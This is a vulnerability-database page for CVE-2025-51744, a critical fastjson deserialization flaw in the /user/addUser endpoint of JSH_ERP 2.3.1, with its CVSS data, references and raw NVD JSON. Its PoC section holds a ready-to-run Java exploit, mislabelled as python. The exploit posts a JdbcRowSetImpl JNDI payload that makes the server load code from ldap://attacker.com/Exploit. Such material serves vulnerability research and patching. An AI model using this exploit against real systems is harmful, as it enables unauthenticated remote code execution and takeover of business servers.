CVE-2025-51744

Description

An issue was discovered in jishenghua JSH_ERP 2.3.1. The /user/addUser endpoint is vulnerable to fastjson deserialization attacks.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:* - VULNERABLE

JSH_ERP 2.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class CVE_2025_51744_PoC {
    public static void main(String[] args) throws Exception {
        String targetUrl = "http://target:8080/user/addUser";
        
        // Malicious fastjson payload for JNDI injection
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}";
        
        URL url = new URL(targetUrl);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/json");
        conn.setDoOutput(true);
        
        try (OutputStream os = conn.getOutputStream()) {
            byte[] input = payload.getBytes("UTF-8");
            os.write(input, 0, input.length);
        }
        
        int responseCode = conn.getResponseCode();
        System.out.println("Response Code: " + responseCode);
        
        try (BufferedReader br = new BufferedReader(
                new InputStreamReader(conn.getInputStream(), "UTF-8"))) {
            StringBuilder response = new StringBuilder();
            String responseLine;
            while ((responseLine = br.readLine()) != null) {
                response.append(responseLine.trim());
            }
            System.out.println("Response: " + response.toString());
        }
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-51744
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-51744
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-51744/
[4] VulDB https://vuldb.com/cve/CVE-2025-51744
[5] https://blog.hackpax.top/jsh-erp3/
[6] https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9
[7] https://gitee.com/jishenghua
[8] https://gitee.com/jishenghua/JSH_ERP

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-51744", "sourceIdentifier": "[email protected]", "published": "2025-11-25T21:15:56.000", "lastModified": "2025-12-02T14:57:35.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /user/addUser endpoint is vulnerable to fastjson deserialization attacks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.1", "matchCriteriaId": "425A1CE4-66CE-4BC9-8CB9-58DCE58F1E0F"}]}]}], "references": [{"url": "https://blog.hackpax.top/jsh-erp3/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Paxsizy/cd1557aeba8093a8650601c4dbffb6f9", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/jishenghua", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/jishenghua/JSH_ERP", "source": "[email protected]", "tags": ["Product"]}]}}